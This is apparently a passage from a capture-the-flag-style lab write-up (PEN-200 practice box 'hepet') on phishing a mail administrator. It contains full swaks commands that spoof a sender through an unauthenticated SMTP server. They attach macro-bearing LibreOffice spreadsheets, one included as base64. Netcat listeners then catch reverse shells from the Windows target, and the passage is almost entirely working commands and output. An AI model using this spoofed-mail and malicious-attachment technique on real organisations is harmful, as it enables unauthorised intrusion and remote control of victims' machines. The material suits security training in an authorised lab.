Phishing


Upon validating the credential of the jonas user against the target IMAP and POP3, reading mails revealed that the target organization is changing its office suite to Libre Office and all the spreadsheets and documents will be processed at the mail server for compatibility. Additionally, it was shown that the mailadmin user is supposed to receive a spreadsheet for printing with all the company contacts. The sender also asks the ela user to install the Office Suite to her computer.

Given situation raises an opportunity to conduct a phishing attack against the mailadmin user with a spreadsheet file as an attachment for Libre Office as relevant files would be “processed” at the mail server.

While the spreadsheet file for Libre Office uses the .ods extension, 2 payloads have been already prepared

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --server 192.168.159.140       
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<-  220 localhost ESMTP server ready.
 -> EHLO kali
<-  250-localhost Hello kali; ESMTPs are:
<-  250-TIME
<-  250-SIZE 0
<-  250 HELP
 -> MAIL FROM:<kali@kali>
<-  250 Sender OK - send RCPTs.
 -> RCPT TO:<mailadmin@localhost>
<-  250 Recipient OK - send RCPT or DATA.
 -> DATA
<-  354 OK, send data, end with CRLF.CRLF
 -> Date: Tue, 04 Mar 2025 21:13:27 +0100
 -> To: mailadmin@localhost
 -> From: kali@kali
 -> Subject: test Tue, 04 Mar 2025 21:13:27 +0100
 -> Message-Id: <20250304211327.151438@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> 
 -> This is a test mailing
 -> 
 -> 
 -> .
<-  250 Data received OK.
 -> QUIT
<-  221 localhost Service closing channel.
=== Connection closed with remote host.

It’s possible to send out an arbitrary mail as the target SMTP server does not require authentication to send mail

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --from jonas@localhost --header "subject: Company Contacts" --body "Check the attachment" --attach @contacts.ods --server $IP
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<-  220 localhost ESMTP server ready.
 -> EHLO kali
<-  250-localhost Hello kali; ESMTPs are:
<-  250-TIME
<-  250-SIZE 0
<-  250 HELP
 -> MAIL FROM:<jonas@localhost>
<-  250 Sender OK - send RCPTs.
 -> RCPT TO:<mailadmin@localhost>
<-  250 Recipient OK - send RCPT or DATA.
 -> DATA
<-  354 OK, send data, end with CRLF.CRLF
 -> Date: Tue, 04 Mar 2025 22:46:22 +0100
 -> To: mailadmin@localhost
 -> From: jonas@localhost
 -> Subject: test Tue, 04 Mar 2025 22:46:22 +0100
 -> Message-Id: <20250304224622.198343@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> MIME-Version: 1.0
 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_198343"
 -> subject: Company Contacts
 -> 
 -> ------=_MIME_BOUNDARY_000_198343
 -> Content-Type: text/plain
 -> 
 -> Check the attachment
 -> ------=_MIME_BOUNDARY_000_198343
 -> Content-Type: application/octet-stream; name="contacts.ods"
 -> Content-Description: contacts.ods
 -> Content-Disposition: attachment; filename="contacts.ods"
 -> Content-Transfer-Encoding: BASE64
 -> 
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 -> 
 -> ------=_MIME_BOUNDARY_000_198343--
 -> 
 -> 
 -> .
<-  250 Data received OK.
 -> QUIT
<-  221 localhost Service closing channel.
=== Connection closed with remote host.

Sending a phishing email to the mailadmin user with the first payload as an attachment

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ nnc 443
listening on [any] 443 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.159.140] 49726
Microsoft Windows [Version 10.0.19042.1348]
(c) Microsoft Corporation. All rights reserved.
 
C:\Program Files\LibreOffice\program> whoami
 whoami
hepet\ela arwel
 
C:\Program Files\LibreOffice\program> hostname
 hostname
hepet
 
C:\Program Files\LibreOffice\program> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0:
 
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.159.140
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.159.254

Initial Foothold established to the target system as the ela arwel user via phishing

2


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --from jonas@localhost --header "subject: Company Contacts" --body "Check the attachment" --attach @file.ods --server $IP
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<-  220 localhost ESMTP server ready.
 -> EHLO kali
<-  250-localhost Hello kali; ESMTPs are:
<-  250-TIME
<-  250-SIZE 0
<-  250 HELP
 -> MAIL FROM:<jonas@localhost>
<-  250 Sender OK - send RCPTs.
 -> RCPT TO:<mailadmin@localhost>
<-  250 Recipient OK - send RCPT or DATA.
 -> DATA
<-  354 OK, send data, end with CRLF.CRLF
 -> Date: Tue, 04 Mar 2025 22:47:06 +0100
 -> To: mailadmin@localhost
 -> From: jonas@localhost
 -> Subject: test Tue, 04 Mar 2025 22:47:06 +0100
 -> Message-Id: <20250304224706.198727@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> MIME-Version: 1.0
 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_198727"
 -> subject: Company Contacts
 -> 
 -> ------=_MIME_BOUNDARY_000_198727
 -> Content-Type: text/plain
 -> 
 -> Check the attachment
 -> ------=_MIME_BOUNDARY_000_198727
 -> Content-Type: application/octet-stream; name="file.ods"
 -> Content-Description: file.ods
 -> Content-Disposition: attachment; filename="file.ods"
 -> Content-Transfer-Encoding: BASE64
 -> 
 -> UEsDBBQAAAAAAHutZFoAAAAAAAAAAAAAAAAGAAAAQmFzaWMvUEsDBBQAAAAAAHutZFoAAAAAAAAA
 -> AAAAAAAQAAAAQ29uZmlndXJhdGlvbnMyL1BLAwQUAAAAAAB7rWRaAAAAAAAAAAAAAAAACQAAAE1F
 -> VEEtSU5GL1BLAwQUAAAAAAB7rWRaAAAAAAAAAAAAAAAACwAAAFRodW1ibmFpbHMvUEsDBBQAAAAI
 -> AHutZFq0oNiO2AYAAFs/AAAMAAAAc2V0dGluZ3MueG1s7Vvdc6M4En+++ytSfp3KGH8kt3FNstVg
 -> /JGNE4PBSfwmQMZMAFEgjJ2//iTZ3km8JpuxYWrvin5ARmr91Gq3uhuV9O33VeCfLXGceCS8rjW+
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 -> dXJhdGlvbnMyL2FjY2VsZXJhdG9yL1BLAQIUAxQAAAAAAHutZFoAAAAAAAAAAAAAAAAYAAAAAAAA
 -> AAAAEAD9QRcXAABDb25maWd1cmF0aW9uczIvZmxvYXRlci9QSwECFAMUAAAAAAB7rWRaAAAAAAAA
 -> AAAAAAAAFwAAAAAAAAAAABAA/UFNFwAAQ29uZmlndXJhdGlvbnMyL2ltYWdlcy9QSwECFAMUAAAA
 -> AAB7rWRaAAAAAAAAAAAAAAAAGAAAAAAAAAAAABAA/UGCFwAAQ29uZmlndXJhdGlvbnMyL21lbnVi
 -> YXIvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABoAAAAAAAAAAAAQAP1BuBcAAENvbmZpZ3Vy
 -> YXRpb25zMi9wb3B1cG1lbnUvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABwAAAAAAAAAAAAQ
 -> AP1B8BcAAENvbmZpZ3VyYXRpb25zMi9wcm9ncmVzc2Jhci9QSwECFAMUAAAAAAB7rWRaAAAAAAAA
 -> AAAAAAAAGgAAAAAAAAAAABAA/UEqGAAAQ29uZmlndXJhdGlvbnMyL3N0YXR1c2Jhci9QSwECFAMU
 -> AAAAAAB7rWRaAAAAAAAAAAAAAAAAGAAAAAAAAAAAABAA/UFiGAAAQ29uZmlndXJhdGlvbnMyL3Rv
 -> b2xiYXIvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAABoAAAAAAAAAAAAQAP1BmBgAAENvbmZp
 -> Z3VyYXRpb25zMi90b29scGFuZWwvUEsBAhQDFAAAAAAAe61kWgAAAAAAAAAAAAAAAB8AAAAAAAAA
 -> AAAQAP1B0BgAAENvbmZpZ3VyYXRpb25zMi9pbWFnZXMvQml0bWFwcy9QSwECFAMUAAAAAAB7rWRa
 -> AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA/UENGQAAQmFzaWMvU3RhbmRhcmQvUEsBAhQDFAAAAAgA
 -> e61kWk5lg3HUAAAAVgEAABMAAAAAAAAAAAAAALSBOhkAAEJhc2ljL3NjcmlwdC1sYy54bWxQSwEC
 -> FAMUAAAACAB7rWRaeYzbnpEDAAAeBwAAGgAAAAAAAAAAAAAAtIE/GgAAQmFzaWMvU3RhbmRhcmQv
 -> TW9kdWxlMS54bWxQSwECFAMUAAAACAB7rWRauk6fMNkAAABgAQAAHAAAAAAAAAAAAAAAtIEIHgAA
 -> QmFzaWMvU3RhbmRhcmQvc2NyaXB0LWxiLnhtbFBLAQIUAxQAAAAIAHutZFq92ppsVQEAAGkFAAAV
 -> AAAAAAAAAAAAAAC0gRsfAABNRVRBLUlORi9tYW5pZmVzdC54bWxQSwECFAMUAAAACAB7rWRapoQw
 -> VWAAAACTAAAAGAAAAAAAAAAAAAAAtIGjIAAAVGh1bWJuYWlscy90aHVtYm5haWwucG5nUEsFBgAA
 -> AAAaABoAnAYAADkhAAAAAA==
 -> 
 -> ------=_MIME_BOUNDARY_000_198727--
 -> 
 -> 
 -> .
<-  250 Data received OK.
 -> QUIT
<-  221 localhost Service closing channel.
=== Connection closed with remote host.

Testing out the second payload as an attachment

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ nnc 8000
listening on [any] 8000 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.159.140] 49725
 
PS C:\Program Files\LibreOffice\program> whoami
hepet\ela arwel
PS C:\Program Files\LibreOffice\program> hostname
hepet
PS C:\Program Files\LibreOffice\program> ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0:
 
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.159.140
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.159.254

Confirmed